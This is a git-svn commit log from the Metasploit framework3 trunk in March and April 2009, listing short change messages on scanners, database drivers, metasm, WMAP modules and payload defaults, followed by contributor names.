git-svn-id: file:///home/svn/framework3/trunk@6460 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-07 05:59:38 +00:00
1eb8c8dfc0
meh, what can I say? I like my name
...
git-svn-id: file:///home/svn/framework3/trunk@6459 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-03 15:05:35 +00:00
67ab1cca92
Fixed #280 . Fix namespace lookup for "FileUtils", thanks grymoire
...
git-svn-id: file:///home/svn/framework3/trunk@6454 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-02 18:58:36 +00:00
ce9e47c06b
fixed error wmap modules crashing when vhost is nil
...
git-svn-id: file:///home/svn/framework3/trunk@6447 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-30 04:22:47 +00:00
1b205ee0ee
slight fixes for ruby 1.9 compatibility (1.9 will stil not work)
...
git-svn-id: file:///home/svn/framework3/trunk@6445 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-30 02:57:10 +00:00
932bd89ac2
Mangle up METASM stubs to solve integration problems
...
git-svn-id: file:///home/svn/framework3/trunk@6430 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 07:49:51 +00:00
1894dc4f1a
New metasm
...
git-svn-id: file:///home/svn/framework3/trunk@6429 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 07:30:54 +00:00
da119f29e7
Swapping metasm...
...
git-svn-id: file:///home/svn/framework3/trunk@6428 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 07:30:31 +00:00
1073b04eb7
Remove sqlite2 support, force load sqlite3 gem
...
git-svn-id: file:///home/svn/framework3/trunk@6425 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 03:40:25 +00:00
2552633f9b
Fix up batch mode aux scanners that dont use the tcp mixin. Minor changes to snmp_scan
...
git-svn-id: file:///home/svn/framework3/trunk@6422 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 03:11:56 +00:00
62a1d3037d
just a whitespace fix
...
git-svn-id: file:///home/svn/framework3/trunk@6419 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 23:04:28 +00:00
191289450e
Meterpreter is now the default payload for windows autopwn targets
...
git-svn-id: file:///home/svn/framework3/trunk@6418 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 21:51:35 +00:00
709362ff53
This patch moves all database interaction into the metasploit core. Usage is about the same, except instead of loading a plugin, you call db_driver <driver_name>
...
git-svn-id: file:///home/svn/framework3/trunk@6417 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 21:42:30 +00:00
8b32f139d3
Skip svn directories for module searches, remove delay loading system (no longer used), enumerate available database drivers at load
...
git-svn-id: file:///home/svn/framework3/trunk@6416 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 20:45:46 +00:00
74d44235a2
Add the enumerable module as a standalone file
...
git-svn-id: file:///home/svn/framework3/trunk@6415 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 18:56:31 +00:00
3d6a0bab52
Fix up the version/options modules, make wmap_base_url display the vhost and use the host/port separator correctly
...
git-svn-id: file:///home/svn/framework3/trunk@6414 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 17:57:12 +00:00
89ad4df087
Fix WMAP modules to use the new scanner api; add wmap_base_url as a shorthand (extend in the future to do VHOST as well), general cosmetic cleanups
...
git-svn-id: file:///home/svn/framework3/trunk@6413 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 17:45:14 +00:00
26b9903b0d
Changes Auxiliary::Scanner to use a new module instance for each thread, updates associated mixins and modules to support this change.
...
git-svn-id: file:///home/svn/framework3/trunk@6401 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 05:49:33 +00:00
89ecdd9ac8
Mostly working setdesktop code, removed grabdesktop
...
git-svn-id: file:///home/svn/framework3/trunk@6393 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 23:14:14 +00:00
753c7aa7d5
Apply patch to fix SSL server support
...
git-svn-id: file:///home/svn/framework3/trunk@6391 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 16:41:10 +00:00
James Lee
HD Moore
et
Joshua Drake
Stephen Fewer
Mario Ceballos
Ramon de C Valle
Patrick Webster